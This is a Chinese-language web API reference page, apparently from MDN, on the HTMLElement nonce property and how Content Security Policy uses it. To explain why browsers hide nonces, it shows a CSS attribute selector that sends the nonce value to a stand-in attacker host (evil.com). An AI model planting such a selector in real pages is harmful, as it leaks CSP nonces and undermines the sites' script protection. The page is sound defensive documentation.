HTMLElement: nonce 属性

Baseline 已广泛支持

此特性已经十分成熟,可在许多设备和浏览器版本上使用。自 2022 年 3 月起,它已在各浏览器中可用。

HTMLElement 接口的 nonce 属性返回一个加密的、仅使用一次的数字,用于 内容安全策略 来确定是否允许给定的获取操作继续进行。

在后续的实现中,元素仅向脚本公开其 nonce 属性(而不是向 CSS 属性选择器等侧通道公开)。

示例

检索 nonce 值

过去,并非所有浏览器都支持 nonce IDL 属性,因此一种解决方法是尝试使用 getAttribute 作为备用方法。

js
let nonce = script["nonce"] || script.getAttribute("nonce");

然而,近期版本的浏览器会隐藏通过这种方式访问的 nonce 值(将返回一个空字符串)。IDL 属性(script['nonce'])将是访问 nonce 的唯一方法。

隐藏 nonce 有助于防止攻击者通过可以从内容属性(如此 CSS 选择器)中抓取数据的机制来泄露 nonce 数据。

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

规范

规范
HTML
# dom-noncedelement-nonce

浏览器兼容性

另见